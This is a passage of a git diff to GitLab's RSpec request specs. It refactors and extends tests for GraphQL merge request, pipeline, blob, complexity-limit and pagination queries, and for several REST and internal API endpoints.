+ FIELDS
+ end
+
+ before do
merge_request.update_head_pipeline
end
@@ -193,20 +226,12 @@ RSpec.describe 'getting merge request information nested in a project' do
it 'has pipeline connections' do
post_graphql(query, current_user: current_user)
- expect(merge_request_graphql_data['pipelines']['edges'].size).to eq(1)
+ expect(merge_request_graphql_data['pipelines']['nodes']).to be_one
end
end
context 'when limiting the number of results' do
- let(:merge_requests_graphql_data) { graphql_data['project']['mergeRequests']['edges'] }
-
- let!(:merge_requests) do
- [
- create(:merge_request, source_project: project, source_branch: 'branch-1'),
- create(:merge_request, source_project: project, source_branch: 'branch-2'),
- create(:merge_request, source_project: project, source_branch: 'branch-3')
- ]
- end
+ let(:merge_requests_graphql_data) { graphql_data_at(:project, :merge_requests, :edges) }
let(:fields) do
<<~QUERY
@@ -228,6 +253,10 @@ RSpec.describe 'getting merge request information nested in a project' do
end
it 'returns the correct number of results' do
+ create(:merge_request, source_project: project, source_branch: 'branch-1')
+ create(:merge_request, source_project: project, source_branch: 'branch-2')
+ create(:merge_request, source_project: project, source_branch: 'branch-3')
+
post_graphql(query, current_user: current_user)
expect(merge_requests_graphql_data.size).to eq 2
@@ -281,4 +310,129 @@ RSpec.describe 'getting merge request information nested in a project' do
)
end
end
+
+ context 'when requesting information about MR interactions' do
+ let_it_be(:user) { create(:user) }
+
+ let(:selected_fields) { all_graphql_fields_for('UserMergeRequestInteraction') }
+
+ let(:mr_fields) do
+ query_nodes(
+ :reviewers,
+ query_graphql_field(:merge_request_interaction, nil, selected_fields)
+ )
+ end
+
+ def interaction_data
+ graphql_data_at(:project, :merge_request, :reviewers, :nodes, :merge_request_interaction)
+ end
+
+ context 'when the user does not have interactions' do
+ it 'returns null data' do
+ post_graphql(query)
+
+ expect(interaction_data).to be_empty
+ end
+ end
+
+ context 'when the user is a reviewer, but has not reviewed' do
+ before do
+ project.add_guest(user)
+ merge_request.merge_request_reviewers.create!(reviewer: user)
+ end
+
+ it 'returns falsey values' do
+ post_graphql(query)
+
+ expect(interaction_data).to contain_exactly a_hash_including(
+ 'canMerge' => false,
+ 'canUpdate' => false,
+ 'reviewState' => 'UNREVIEWED',
+ 'reviewed' => false,
+ 'approved' => false
+ )
+ end
+ end
+
+ context 'when the user has interacted' do
+ before do
+ project.add_maintainer(user)
+ merge_request.merge_request_reviewers.create!(reviewer: user, state: 'reviewed')
+ merge_request.approved_by_users << user
+ end
+
+ it 'returns appropriate data' do
+ post_graphql(query)
+ enum = ::Types::MergeRequestReviewStateEnum.values['REVIEWED']
+
+ expect(interaction_data).to contain_exactly a_hash_including(
+ 'canMerge' => true,
+ 'canUpdate' => true,
+ 'reviewState' => enum.graphql_name,
+ 'reviewed' => true,
+ 'approved' => true
+ )
+ end
+ end
+
+ describe 'scalability' do
+ let_it_be(:other_users) { create_list(:user, 3) }
+
+ let(:unreviewed) do
+ { 'reviewState' => 'UNREVIEWED' }
+ end
+
+ let(:reviewed) do
+ { 'reviewState' => 'REVIEWED' }
+ end
+
+ shared_examples 'scalable query for interaction fields' do
+ before do
+ ([user] + other_users).each { project.add_guest(_1) }
+ end
+
+ it 'does not suffer from N+1' do
+ merge_request.merge_request_reviewers.create!(reviewer: user, state: 'reviewed')
+
+ baseline = ActiveRecord::QueryRecorder.new do
+ post_graphql(query)
+ end
+
+ expect(interaction_data).to contain_exactly(include(reviewed))
+
+ other_users.each do |user|
+ merge_request.merge_request_reviewers.create!(reviewer: user)
+ end
+
+ expect { post_graphql(query) }.not_to exceed_query_limit(baseline)
+
+ expect(interaction_data).to contain_exactly(
+ include(unreviewed),
+ include(unreviewed),
+ include(unreviewed),
+ include(reviewed)
+ )
+ end
+ end
+
+ context 'when selecting only known scalable fields' do
+ let(:not_scalable) { %w[canUpdate canMerge] }
+ let(:selected_fields) do
+ all_graphql_fields_for('UserMergeRequestInteraction', excluded: not_scalable)
+ end
+
+ it_behaves_like 'scalable query for interaction fields'
+ end
+
+ context 'when selecting all fields' do
+ before do
+ pending "See: https://gitlab.com/gitlab-org/gitlab/-/issues/322549"
+ end
+
+ let(:selected_fields) { all_graphql_fields_for('UserMergeRequestInteraction') }
+
+ it_behaves_like 'scalable query for interaction fields'
+ end
+ end
+ end
end
diff --git a/spec/requests/api/graphql/project/merge_requests_spec.rb b/spec/requests/api/graphql/project/merge_requests_spec.rb
index d97a0ed9399..7fc1ef05fa7 100644
--- a/spec/requests/api/graphql/project/merge_requests_spec.rb
+++ b/spec/requests/api/graphql/project/merge_requests_spec.rb
@@ -47,10 +47,10 @@ RSpec.describe 'getting merge request listings nested in a project' do
end
before do
- # We cannot call the whitelist here, since the transaction does not
+ # We cannot disable SQL query limiting here, since the transaction does not
# begin until we enter the controller.
headers = {
- 'X-GITLAB-QUERY-WHITELIST-ISSUE' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/322979'
+ 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/322979'
}
post_graphql(query, current_user: current_user, headers: headers)
@@ -299,6 +299,7 @@ RSpec.describe 'getting merge request listings nested in a project' do
reviewers { nodes { username } }
participants { nodes { username } }
headPipeline { status }
+ timelogs { nodes { timeSpent } }
SELECT
end
@@ -307,7 +308,7 @@ RSpec.describe 'getting merge request listings nested in a project' do
query($first: Int) {
project(fullPath: "#{project.full_path}") {
mergeRequests(first: $first) {
- nodes { #{mr_fields} }
+ nodes { iid #{mr_fields} }
}
}
}
@@ -324,6 +325,7 @@ RSpec.describe 'getting merge request listings nested in a project' do
mr.assignees << current_user
mr.reviewers << create(:user)
mr.reviewers << current_user
+ mr.timelogs << create(:merge_request_timelog, merge_request: mr)
end
end
@@ -345,7 +347,7 @@ RSpec.describe 'getting merge request listings nested in a project' do
end
def user_collection
- { 'nodes' => all(match(a_hash_including('username' => be_present))) }
+ { 'nodes' => be_present.and(all(match(a_hash_including('username' => be_present)))) }
end
it 'returns appropriate results' do
@@ -358,7 +360,8 @@ RSpec.describe 'getting merge request listings nested in a project' do
'assignees' => user_collection,
'reviewers' => user_collection,
'participants' => user_collection,
- 'headPipeline' => { 'status' => be_present }
+ 'headPipeline' => { 'status' => be_present },
+ 'timelogs' => { 'nodes' => be_one }
)))
end
diff --git a/spec/requests/api/graphql/project/pipeline_spec.rb b/spec/requests/api/graphql/project/pipeline_spec.rb
index cc028ff2ff9..0a5bcc7a965 100644
--- a/spec/requests/api/graphql/project/pipeline_spec.rb
+++ b/spec/requests/api/graphql/project/pipeline_spec.rb
@@ -5,24 +5,28 @@ require 'spec_helper'
RSpec.describe 'getting pipeline information nested in a project' do
include GraphqlHelpers
- let!(:project) { create(:project, :repository, :public) }
- let!(:pipeline) { create(:ci_pipeline, project: project) }
- let!(:current_user) { create(:user) }
- let(:pipeline_graphql_data) { graphql_data['project']['pipeline'] }
-
- let!(:query) do
- %(
- query {
- project(fullPath: "#{project.full_path}") {
- pipeline(iid: "#{pipeline.iid}") {
- configSource
- }
- }
- }
+ let_it_be(:project) { create(:project, :repository, :public) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:build_job) { create(:ci_build, :trace_with_sections, name: 'build-a', pipeline: pipeline) }
+ let_it_be(:failed_build) { create(:ci_build, :failed, name: 'failed-build', pipeline: pipeline) }
+ let_it_be(:bridge) { create(:ci_bridge, name: 'ci-bridge-example', pipeline: pipeline) }
+
+ let(:path) { %i[project pipeline] }
+ let(:pipeline_graphql_data) { graphql_data_at(*path) }
+ let(:depth) { 3 }
+ let(:excluded) { %w[job project] } # Project is very expensive, due to the number of fields
+ let(:fields) { all_graphql_fields_for('Pipeline', excluded: excluded, max_depth: depth) }
+
+ let(:query) do
+ graphql_query_for(
+ :project,
+ { full_path: project.full_path },
+ query_graphql_field(:pipeline, { iid: pipeline.iid.to_s }, fields)
)
end
- it_behaves_like 'a working graphql query' do
+ it_behaves_like 'a working graphql query', :use_clean_rails_memory_store_caching, :request_store do
before do
post_graphql(query, current_user: current_user)
end
@@ -37,14 +41,18 @@ RSpec.describe 'getting pipeline information nested in a project' do
it 'contains configSource' do
post_graphql(query, current_user: current_user)
- expect(pipeline_graphql_data.dig('configSource')).to eq('UNKNOWN_SOURCE')
+ expect(pipeline_graphql_data['configSource']).to eq('UNKNOWN_SOURCE')
end
- context 'batching' do
- let!(:pipeline2) { create(:ci_pipeline, project: project, user: current_user, builds: [create(:ci_build, :success)]) }
- let!(:pipeline3) { create(:ci_pipeline, project: project, user: current_user, builds: [create(:ci_build, :success)]) }
+ context 'when batching' do
+ let!(:pipeline2) { successful_pipeline }
+ let!(:pipeline3) { successful_pipeline }
let!(:query) { build_query_to_find_pipeline_shas(pipeline, pipeline2, pipeline3) }
+ def successful_pipeline
+ create(:ci_pipeline, project: project, user: current_user, builds: [create(:ci_build, :success)])
+ end
+
it 'executes the finder once' do
mock = double(Ci::PipelinesFinder)
opts = { iids: [pipeline.iid, pipeline2.iid, pipeline3.iid].map(&:to_s) }
@@ -80,4 +88,198 @@ RSpec.describe 'getting pipeline information nested in a project' do
graphql_query_for('project', { 'fullPath' => project.full_path }, pipeline_fields)
end
+
+ context 'when enough data is requested' do
+ let(:fields) do
+ query_graphql_field(:jobs, nil,
+ query_graphql_field(:nodes, {}, all_graphql_fields_for('CiJob', max_depth: 3)))
+ end
+
+ it 'contains jobs' do
+ post_graphql(query, current_user: current_user)
+
+ expect(graphql_data_at(*path, :jobs, :nodes)).to contain_exactly(
+ a_hash_including(
+ 'name' => build_job.name,
+ 'status' => build_job.status.upcase,
+ 'duration' => build_job.duration
+ ),
+ a_hash_including(
+ 'id' => global_id_of(failed_build),
+ 'status' => failed_build.status.upcase
+ ),
+ a_hash_including(
+ 'id' => global_id_of(bridge),
+ 'status' => bridge.status.upcase
+ )
+ )
+ end
+ end
+
+ context 'when requesting only builds with certain statuses' do
+ let(:variables) do
+ {
+ path: project.full_path,
+ pipelineIID: pipeline.iid.to_s,
+ status: :FAILED
+ }
+ end
+
+ let(:query) do
+ <<~GQL
+ query($path: ID!, $pipelineIID: ID!, $status: CiJobStatus!) {
+ project(fullPath: $path) {
+ pipeline(iid: $pipelineIID) {
+ jobs(statuses: [$status]) {
+ nodes {
+ #{all_graphql_fields_for('CiJob', max_depth: 1)}
+ }
+ }
+ }
+ }
+ }
+ GQL
+ end
+
+ it 'can filter build jobs by status' do
+ post_graphql(query, current_user: current_user, variables: variables)
+
+ expect(graphql_data_at(*path, :jobs, :nodes))
+ .to contain_exactly(a_hash_including('id' => global_id_of(failed_build)))
+ end
+ end
+
+ context 'when requesting a specific job' do
+ let(:variables) do
+ {
+ path: project.full_path,
+ pipelineIID: pipeline.iid.to_s
+ }
+ end
+
+ let(:build_fields) do
+ all_graphql_fields_for('CiJob', max_depth: 1)
+ end
+
+ let(:query) do
+ <<~GQL
+ query($path: ID!, $pipelineIID: ID!, $jobName: String, $jobID: JobID) {
+ project(fullPath: $path) {
+ pipeline(iid: $pipelineIID) {
+ job(id: $jobID, name: $jobName) {
+ #{build_fields}
+ }
+ }
+ }
+ }
+ GQL
+ end
+
+ let(:the_job) do
+ a_hash_including('name' => build_job.name, 'id' => global_id_of(build_job))
+ end
+
+ it 'can request a build by name' do
+ vars = variables.merge(jobName: build_job.name)
+
+ post_graphql(query, current_user: current_user, variables: vars)
+
+ expect(graphql_data_at(*path, :job)).to match(the_job)
+ end
+
+ it 'can request a build by ID' do
+ vars = variables.merge(jobID: global_id_of(build_job))
+
+ post_graphql(query, current_user: current_user, variables: vars)
+
+ expect(graphql_data_at(*path, :job)).to match(the_job)
+ end
+
+ context 'when we request nested fields of the build' do
+ let_it_be(:needy) { create(:ci_build, :dependent, pipeline: pipeline) }
+
+ let(:build_fields) { 'needs { nodes { name } }' }
+ let(:vars) { variables.merge(jobID: global_id_of(needy)) }
+
+ it 'returns the nested data' do
+ post_graphql(query, current_user: current_user, variables: vars)
+
+ expect(graphql_data_at(*path, :job, :needs, :nodes)).to contain_exactly(
+ a_hash_including('name' => needy.needs.first.name)
+ )
+ end
+
+ it 'requires a constant number of queries' do
+ fst_user = create(:user)
+ snd_user = create(:user)
+ path = %i[project pipeline job needs nodes name]
+
+ baseline = ActiveRecord::QueryRecorder.new do
+ post_graphql(query, current_user: fst_user, variables: vars)
+ end
+
+ expect(baseline.count).to be > 0
+ dep_names = graphql_dig_at(graphql_data(fresh_response_data), *path)
+
+ deps = create_list(:ci_build, 3, :unique_name, pipeline: pipeline)
+ deps.each { |d| create(:ci_build_need, build: needy, name: d.name) }
+
+ expect do
+ post_graphql(query, current_user: snd_user, variables: vars)
+ end.not_to exceed_query_limit(baseline)
+
+ more_names = graphql_dig_at(graphql_data(fresh_response_data), *path)
+
+ expect(more_names).to include(*dep_names)
+ expect(more_names.count).to be > dep_names.count
+ end
+ end
+ end
+
+ context 'when requesting a specific test suite' do
+ let_it_be(:pipeline) { create(:ci_pipeline, :with_test_reports, project: project) }
+ let(:suite_name) { 'test' }
+ let_it_be(:build_ids) { pipeline.latest_builds.pluck(:id) }
+
+ let(:variables) do
+ {
+ path: project.full_path,
+ pipelineIID: pipeline.iid.to_s
+ }
+ end
+
+ let(:query) do
+ <<~GQL
+ query($path: ID!, $pipelineIID: ID!, $buildIds: [ID!]!) {
+ project(fullPath: $path) {
+ pipeline(iid: $pipelineIID) {
+ testSuite(buildIds: $buildIds) {
+ name
+ }
+ }
+ }
+ }
+ GQL
+ end
+
+ it 'can request a test suite by an array of build_ids' do
+ vars = variables.merge(buildIds: build_ids)
+
+ post_graphql(query, current_user: current_user, variables: vars)
+
+ expect(graphql_data_at(:project, :pipeline, :testSuite, :name)).to eq(suite_name)
+ end
+
+ context 'when pipeline has no builds that matches the given build_ids' do
+ let_it_be(:build_ids) { [non_existing_record_id] }
+
+ it 'returns nil' do
+ vars = variables.merge(buildIds: build_ids)
+
+ post_graphql(query, current_user: current_user, variables: vars)
+
+ expect(graphql_data_at(*path, :test_suite)).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/requests/api/graphql/project/repository/blobs_spec.rb b/spec/requests/api/graphql/project/repository/blobs_spec.rb
new file mode 100644
index 00000000000..12f6fbd793e
--- /dev/null
+++ b/spec/requests/api/graphql/project/repository/blobs_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe 'getting blobs in a project repository' do
+ include GraphqlHelpers
+
+ let(:project) { create(:project, :repository) }
+ let(:current_user) { project.owner }
+ let(:paths) { ["CONTRIBUTING.md", "README.md"] }
+ let(:ref) { project.default_branch }
+ let(:fields) do
+ <<~QUERY
+ blobs(paths:#{paths.inspect}, ref:#{ref.inspect}) {
+ nodes {
+ #{all_graphql_fields_for('repository_blob'.classify)}
+ }
+ }
+ QUERY
+ end
+
+ let(:query) do
+ graphql_query_for(
+ 'project',
+ { 'fullPath' => project.full_path },
+ query_graphql_field('repository', {}, fields)
+ )
+ end
+
+ subject(:blobs) { graphql_data_at(:project, :repository, :blobs, :nodes) }
+
+ it 'returns the blob' do
+ post_graphql(query, current_user: current_user)
+
+ expect(blobs).to match_array(paths.map { |path| a_hash_including('path' => path) })
+ end
+end
diff --git a/spec/requests/api/graphql/user_spec.rb b/spec/requests/api/graphql/user_spec.rb
index d2d6b1fca66..a3b2b750bc3 100644
--- a/spec/requests/api/graphql/user_spec.rb
+++ b/spec/requests/api/graphql/user_spec.rb
@@ -42,7 +42,13 @@ RSpec.describe 'User' do
end
context 'when username and id parameter are used' do
- let_it_be(:query) { graphql_query_for(:user, { id: current_user.to_global_id.to_s, username: current_user.username }, 'id') }
+ let_it_be(:query) do
+ graphql_query_for(
+ :user,
+ { id: current_user.to_global_id.to_s, username: current_user.username },
+ 'id'
+ )
+ end
it 'displays an error' do
post_graphql(query)
diff --git a/spec/requests/api/graphql_spec.rb b/spec/requests/api/graphql_spec.rb
index 4eaf57a7d35..3a1bcfc69b8 100644
--- a/spec/requests/api/graphql_spec.rb
+++ b/spec/requests/api/graphql_spec.rb
@@ -3,16 +3,18 @@ require 'spec_helper'
RSpec.describe 'GraphQL' do
include GraphqlHelpers
+ include AfterNextHelpers
- let(:query) { graphql_query_for('echo', text: 'Hello world' ) }
+ let(:query) { graphql_query_for('echo', text: 'Hello world') }
- context 'logging' do
+ describe 'logging' do
shared_examples 'logging a graphql query' do
let(:expected_params) do
{
query_string: query,
variables: variables.to_s,
duration_s: anything,
+ operation_name: nil,
depth: 1,
complexity: 1,
used_fields: ['Query.echo'],
@@ -50,19 +52,25 @@ RSpec.describe 'GraphQL' do
context 'when there is an error in the logger' do
before do
- allow_any_instance_of(Gitlab::Graphql::QueryAnalyzers::LoggerAnalyzer).to receive(:process_variables).and_raise(StandardError.new("oh noes!"))
+ logger_analyzer = GitlabSchema.query_analyzers.find do |qa|
+ qa.is_a? Gitlab::Graphql::QueryAnalyzers::LoggerAnalyzer
+ end
+ allow(logger_analyzer).to receive(:process_variables)
+ .and_raise(StandardError.new("oh noes!"))
end
it 'logs the exception in Sentry and continues with the request' do
- expect(Gitlab::ErrorTracking).to receive(:track_and_raise_for_dev_exception).at_least(:once)
- expect(Gitlab::GraphqlLogger).to receive(:info)
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_and_raise_for_dev_exception).at_least(:once)
+ expect(Gitlab::GraphqlLogger)
+ .to receive(:info)
post_graphql(query, variables: {})
end
end
end
- context 'invalid variables' do
+ context 'with invalid variables' do
it 'returns an error' do
post_graphql(query, variables: "This is not JSON")
@@ -71,7 +79,7 @@ RSpec.describe 'GraphQL' do
end
end
- context 'authentication', :allow_forgery_protection do
+ describe 'authentication', :allow_forgery_protection do
let(:user) { create(:user) }
it 'allows access to public data without authentication' do
@@ -98,7 +106,7 @@ RSpec.describe 'GraphQL' do
expect(graphql_data['echo']).to eq("\"#{user.username}\" says: Hello world")
end
- context 'token authentication' do
+ context 'with token authentication' do
let(:token) { create(:personal_access_token) }
before do
@@ -118,7 +126,7 @@ RSpec.describe 'GraphQL' do
context 'when the personal access token has no api scope' do
it 'does not log the user in' do
- token.update(scopes: [:read_user])
+ token.update!(scopes: [:read_user])
post_graphql(query, headers: { 'PRIVATE-TOKEN' => token.token })
@@ -135,7 +143,11 @@ RSpec.describe 'GraphQL' do
let(:user) { create(:user) }
let(:query) do
- graphql_query_for('project', { 'fullPath' => project.full_path }, %w(id))
+ graphql_query_for(
+ :project,
+ { full_path: project.full_path },
+ 'id'
+ )
end
before do
@@ -196,13 +208,56 @@ RSpec.describe 'GraphQL' do
end
end
+ describe 'complexity limits' do
+ let_it_be(:project) { create(:project, :public) }
+ let!(:user) { create(:user) }
+
+ let(:query_fields) do
+ <<~QUERY
+ id
+ QUERY
+ end
+
+ let(:query) do
+ graphql_query_for(
+ 'project',
+ { 'fullPath' => project.full_path },
+ query_fields
+ )
+ end
+
+ before do
+ stub_const('GitlabSchema::DEFAULT_MAX_COMPLEXITY', 1)
+ end
+
+ context 'unauthenticated user' do
+ subject { post_graphql(query) }
+
+ it 'raises a complexity error' do
+ subject
+
+ expect_graphql_errors_to_include(/which exceeds max complexity/)
+ end
+ end
+
+ context 'authenticated user' do
+ subject { post_graphql(query, current_user: user) }
+
+ it 'does not raise an error as it uses the `AUTHENTICATED_COMPLEXITY`' do
+ subject
+
+ expect(graphql_errors).to be_nil
+ end
+ end
+ end
+
describe 'keyset pagination' do
let_it_be(:project) { create(:project, :public) }
let_it_be(:issues) { create_list(:issue, 10, project: project, created_at: Time.now.change(usec: 200)) }
let(:page_size) { 6 }
- let(:issues_edges) { %w(data project issues edges) }
- let(:end_cursor) { %w(data project issues pageInfo endCursor) }
+ let(:issues_edges) { %w[project issues edges] }
+ let(:end_cursor) { %w[project issues pageInfo endCursor] }
let(:query) do
<<~GRAPHQL
query project($fullPath: ID!, $first: Int, $after: String) {
@@ -216,16 +271,10 @@ RSpec.describe 'GraphQL' do
GRAPHQL
end
- # TODO: Switch this to use `post_graphql`
- # This is not performing an actual GraphQL request because the
- # variables end up being strings when passed through the `post_graphql`
- # helper.
- #
- # https://gitlab.com/gitlab-org/gitlab/-/issues/222432
def execute_query(after: nil)
- GitlabSchema.execute(
+ post_graphql(
query,
- context: { current_user: nil },
+ current_user: nil,
variables: {
fullPath: project.full_path,
first: page_size,
@@ -239,14 +288,16 @@ RSpec.describe 'GraphQL' do
expect(Gitlab::Graphql::Pagination::Keyset::QueryBuilder)
.to receive(:new).with(anything, anything, hash_including('created_at'), anything).and_call_original
- first_page = execute_query
+ execute_query
+ first_page = graphql_data
edges = first_page.dig(*issues_edges)
cursor = first_page.dig(*end_cursor)
expect(edges.count).to eq(6)
expect(edges.last['node']['iid']).to eq(issues[4].iid.to_s)
- second_page = execute_query(after: cursor)
+ execute_query(after: cursor)
+ second_page = graphql_data
edges = second_page.dig(*issues_edges)
expect(edges.count).to eq(4)
diff --git a/spec/requests/api/group_import_spec.rb b/spec/requests/api/group_import_spec.rb
index bb7436502ed..f632e49bf3a 100644
--- a/spec/requests/api/group_import_spec.rb
+++ b/spec/requests/api/group_import_spec.rb
@@ -218,12 +218,14 @@ RSpec.describe API::GroupImport do
stub_uploads_object_storage(ImportExportUploader, direct_upload: true)
end
+ # rubocop:disable Rails/SaveBang
let(:tmp_object) do
fog_connection.directories.new(key: 'uploads').files.create(
key: "tmp/uploads/#{file_name}",
body: file_upload
)
end
+ # rubocop:enable Rails/SaveBang
let(:fog_file) { fog_to_uploaded_file(tmp_object) }
let(:params) do
diff --git a/spec/requests/api/group_milestones_spec.rb b/spec/requests/api/group_milestones_spec.rb
index 7ed6e1a295f..e3e0164e5a7 100644
--- a/spec/requests/api/group_milestones_spec.rb
+++ b/spec/requests/api/group_milestones_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe API::GroupMilestones do
let_it_be(:params) { { include_parent_milestones: true } }
before_all do
- group.update(parent: ancestor_group)
+ group.update!(parent: ancestor_group)
end
shared_examples 'listing all milestones' do
@@ -64,10 +64,28 @@ RSpec.describe API::GroupMilestones do
end
end
+ describe 'GET /groups/:id/milestones/:milestone_id/issues' do
+ let!(:issue) { create(:issue, project: project, milestone: milestone) }
+
+ def perform_request
+ get api("/groups/#{group.id}/milestones/#{milestone.id}/issues", user)
+ end
+
+ it 'returns multiple issues without performing N + 1' do
+ perform_request
+
+ control_count = ActiveRecord::QueryRecorder.new { perform_request }.count
+
+ create(:issue, project: project, milestone: milestone)
+
+ expect { perform_request }.not_to exceed_query_limit(control_count)
+ end
+ end
+
def setup_for_group
- context_group.update(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
+ context_group.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
context_group.add_developer(user)
- public_project.update(namespace: context_group)
+ public_project.update!(namespace: context_group)
context_group.reload
end
end
diff --git a/spec/requests/api/group_variables_spec.rb b/spec/requests/api/group_variables_spec.rb
index 0b6bf65ca44..6d5676bbe35 100644
--- a/spec/requests/api/group_variables_spec.rb
+++ b/spec/requests/api/group_variables_spec.rb
@@ -55,6 +55,7 @@ RSpec.describe API::GroupVariables do
expect(json_response['value']).to eq(variable.value)
expect(json_response['protected']).to eq(variable.protected?)
expect(json_response['variable_type']).to eq(variable.variable_type)
+ expect(json_response['environment_scope']).to eq(variable.environment_scope)
end
it 'responds with 404 Not Found if requesting non-existing variable' do
@@ -98,6 +99,7 @@ RSpec.describe API::GroupVariables do
expect(json_response['protected']).to be_truthy
expect(json_response['masked']).to be_truthy
expect(json_response['variable_type']).to eq('env_var')
+ expect(json_response['environment_scope']).to eq('*')
end
it 'creates variable with optional attributes' do
@@ -111,6 +113,7 @@ RSpec.describe API::GroupVariables do
expect(json_response['protected']).to be_falsey
expect(json_response['masked']).to be_falsey
expect(json_response['variable_type']).to eq('file')
+ expect(json_response['environment_scope']).to eq('*')
end
it 'does not allow to duplicate variable key' do
diff --git a/spec/requests/api/internal/base_spec.rb b/spec/requests/api/internal/base_spec.rb
index 86999c4adaa..6bedd43e5c4 100644
--- a/spec/requests/api/internal/base_spec.rb
+++ b/spec/requests/api/internal/base_spec.rb
@@ -644,7 +644,7 @@ RSpec.describe API::Internal::Base do
context 'with Project' do
it_behaves_like 'storing arguments in the application context' do
- let(:expected_params) { { user: key.user.username, project: project.full_path } }
+ let(:expected_params) { { user: key.user.username, project: project.full_path, caller_id: "POST /api/:version/internal/allowed" } }
subject { push(key, project) }
end
@@ -652,7 +652,7 @@ RSpec.describe API::Internal::Base do
context 'with PersonalSnippet' do
it_behaves_like 'storing arguments in the application context' do
- let(:expected_params) { { user: key.user.username } }
+ let(:expected_params) { { user: key.user.username, caller_id: "POST /api/:version/internal/allowed" } }
subject { push(key, personal_snippet) }
end
@@ -660,7 +660,7 @@ RSpec.describe API::Internal::Base do
context 'with ProjectSnippet' do
it_behaves_like 'storing arguments in the application context' do
- let(:expected_params) { { user: key.user.username, project: project_snippet.project.full_path } }
+ let(:expected_params) { { user: key.user.username, project: project_snippet.project.full_path, caller_id: "POST /api/:version/internal/allowed" } }
subject { push(key, project_snippet) }
end
@@ -887,7 +887,7 @@ RSpec.describe API::Internal::Base do
context 'project does not exist' do
context 'git pull' do
it 'returns a 200 response with status: false' do
- project.destroy
+ project.destroy!
pull(key, project)
@@ -1115,7 +1115,7 @@ RSpec.describe API::Internal::Base do
end
end
- context 'feature flag :user_mode_in_session is enabled' do
+ context 'application setting :admin_mode is enabled' do
context 'with an admin user' do
let(:user) { create(:admin) }
@@ -1147,9 +1147,9 @@ RSpec.describe API::Internal::Base do
end
end
- context 'feature flag :user_mode_in_session is disabled' do
+ context 'application setting :admin_mode is disabled' do
before do
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
end
context 'with an admin user' do
@@ -1413,6 +1413,29 @@ RSpec.describe API::Internal::Base do
end
end
+ describe 'GET /internal/geo_proxy' do
+ subject { get api('/internal/geo_proxy'), params: { secret_token: secret_token } }
+
+ context 'with valid auth' do
+ it 'returns empty data' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_empty
+ end
+ end
+
+ context 'with invalid auth' do
+ let(:secret_token) { 'invalid_token' }
+
+ it 'returns unauthorized' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+ end
+
def lfs_auth_project(project)
post(
api("/internal/lfs_authenticate"),
diff --git a/spec/requests/api/internal/kubernetes_spec.rb b/spec/requests/api/internal/kubernetes_spec.rb
index 2e13016a0a6..47d0c872eb6 100644
--- a/spec/requests/api/internal/kubernetes_spec.rb
+++ b/spec/requests/api/internal/kubernetes_spec.rb
@@ -38,16 +38,22 @@ RSpec.describe API::Internal::Kubernetes do
end
shared_examples 'agent authentication' do
- it 'returns 403 if Authorization header not sent' do
+ it 'returns 401 if Authorization header not sent' do
send_request
- expect(response).to have_gitlab_http_status(:forbidden)
+ expect(response).to have_gitlab_http_status(:unauthorized)
end
- it 'returns 403 if Authorization is for non-existent agent' do
+ it 'returns 401 if Authorization is for non-existent agent' do
send_request(headers: { 'Authorization' => 'Bearer NONEXISTENT' })
- expect(response).to have_gitlab_http_status(:forbidden)
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ shared_examples 'agent token tracking' do
+ it 'tracks token usage' do
+ expect { response }.to change { agent_token.reload.read_attribute(:last_used_at) }
end
end
@@ -101,6 +107,8 @@ RSpec.describe API::Internal::Kubernetes do
let(:agent) { agent_token.agent }
let(:project) { agent.project }
+ shared_examples 'agent token tracking'
+
it 'returns expected data', :aggregate_failures do
send_request(headers: { 'Authorization' => "Bearer #{agent_token.token}" })
@@ -169,6 +177,8 @@ RSpec.describe API::Internal::Kubernetes do
context 'an agent is found' do
let_it_be(:agent_token) { create(:cluster_agent_token) }
+ shared_examples 'agent token tracking'
+
context 'project is public' do
let(:project) { create(:project, :public) }
diff --git a/spec/requests/api/invitations_spec.rb b/spec/requests/api/invitations_spec.rb
index 98a7aa63b16..b0e54055854 100644
--- a/spec/requests/api/invitations_spec.rb
+++ b/spec/requests/api/invitations_spec.rb
@@ -102,7 +102,8 @@ RSpec.describe API::Invitations do
params: { email: stranger.email, access_level: Member::REPORTER }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response['message'][stranger.email]).to eq("Access level should be greater than or equal to Developer inherited membership from group #{parent.name}")
+ expect(json_response['message'][stranger.email])
+ .to eq("Access level should be greater than or equal to Developer inherited membership from group #{parent.name}")
end
it 'creates the member if group level is lower' do
@@ -153,10 +154,10 @@ RSpec.describe API::Invitations do
it "returns a message if member already exists" do
post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
- params: { email: maintainer.email, access_level: Member::MAINTAINER }
+ params: { email: developer.email, access_level: Member::MAINTAINER }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response['message'][maintainer.email]).to eq("Already a member of #{source.name}")
+ expect(json_response['message'][developer.email]).to eq("User already exists in source")
end
it 'returns 404 when the email is not valid' do
@@ -164,7 +165,7 @@ RSpec.describe API::Invitations do
params: { email: '', access_level: Member::MAINTAINER }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response['message']).to eq('Email cannot be blank')
+ expect(json_response['message']).to eq('Emails cannot be blank')
end
it 'returns 404 when the email list is not a valid format' do
diff --git a/spec/requests/api/issue_links_spec.rb b/spec/requests/api/issue_links_spec.rb
index a4243766111..45583f5c7dc 100644
--- a/spec/requests/api/issue_links_spec.rb
+++ b/spec/requests/api/issue_links_spec.rb
@@ -12,26 +12,40 @@ RSpec.describe API::IssueLinks do
end
describe 'GET /links' do
+ def perform_request(user = nil, params = {})
+ get api("/projects/#{project.id}/issues/#{issue.iid}/links", user), params: params
+ end
+
context 'when unauthenticated' do
it 'returns 401' do
